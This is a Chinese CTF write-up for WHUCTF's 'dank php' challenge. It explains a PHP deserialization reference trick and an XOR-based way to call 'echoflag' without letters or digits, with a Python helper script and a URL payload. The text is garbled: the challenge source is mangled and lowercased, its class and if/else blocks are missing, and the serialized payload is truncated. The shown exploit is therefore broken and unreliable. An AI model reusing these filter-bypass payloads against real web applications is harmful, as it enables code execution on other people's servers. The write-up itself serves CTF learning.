WHUCTF做題記錄第九題dank php

markdown用的不好，並且有寫的不恰當的地方還請大佬指正，這題主要的知識點是php反序列化和無數字字母執行函式獲取webshell

<?php
include
"flag.php"
;show_source
(__file__);
class
userif(
isset
($_get
['id'])
)if(preg_match
("/[a-za-z0-9]+/"
,$cap))
eval
($cap);
// try to execute echoflag()
}else
}else
}else
}else

php**審計。對傳入的引數id進行了反序列化，然後serect屬性被賦了$flag1變數的值，顯然這裡的$flag1是flagh.php的變數，然後進行了第一層if語句的判斷，判斷name屬性的值是否等於"admin"以及判斷pass屬性和secret屬性的值是否相等。

這裡的name屬性很好搞定，但是pass和secret相等就要想辦法實現，這裡的難搞之處在於secret被重新賦值了，而卻$flag1的值我們是不知道的。所以這裡就要用到乙個知識點，那就是指標引用的序列化，有關序列化的問題這篇部落格講的比較詳細:

總之就是如果$a=&$b，那麼a就是對b的指標引用，簡而言之如果$b的值改變，那麼$a的值也發生改變並且與$b相等，所以我們就可以讓user類中的pass屬性指標引用serect屬性，那麼就可以實現$usr->pass === $usr->secret了，構造id為：

id=o:4:
"user":3
:

即可繞過第乙個if。（這裡的serect是任取的，反正後面還要賦值）

那麼接著看，下面要傳入乙個引數caption，而且對此引數存在著長度的過濾和數字字母的過濾。並且注釋提示我們要執行echoflag函式，這裡就可以參考hint中的無數字字母執行函式getshell的方法，採用異或的方式來使用特殊字元來建構函式並執行。

異或構造echoflag python指令碼:

str
= r"~!@#$%^&*()_+<>?,.;:-{}\/"
str2=
"echoflag"
for ch in str2:
for i in
range(0
,len
(str))
:for j in
range(0
,len
(str))
:                a =
ord(
str[i])^
ord(
str[j])if
chr(a)
==ch:
print
(str
[i]+
' ^ '
+str
[j]+
' is '
+chr
(a))
;

caption=\$_
="@\(/},?<"
^"%?@@;@^["
;\$_()
;// 這裡的\$_代表乙個變數,字串 "@\(/},?<"^"%?@@;@^[" 就是echoflag，然後是\$_();就是執行函式echoflag();
//所以payload就是
?id=o:4:
"user":3
:&caption=\$_
="@\(/},?<"
^"%?@@;@^["
;\$_()
;

然後即得flag:flag

emmmmm,這個flag。。。。

WHUCTF做題記錄第九題dank php

毒瘤 dp 題做題記錄

ACM數學題做題記錄

LeetCode 第1題兩數之和做題記錄

WHUCTF做題記錄 第九題dank php

毒瘤 dp 題做題記錄

ACM數學題做題記錄

LeetCode 第1題 兩數之和 做題記錄

相關推薦

WHUCTF做題記錄第九題dank php

LeetCode 第1題兩數之和做題記錄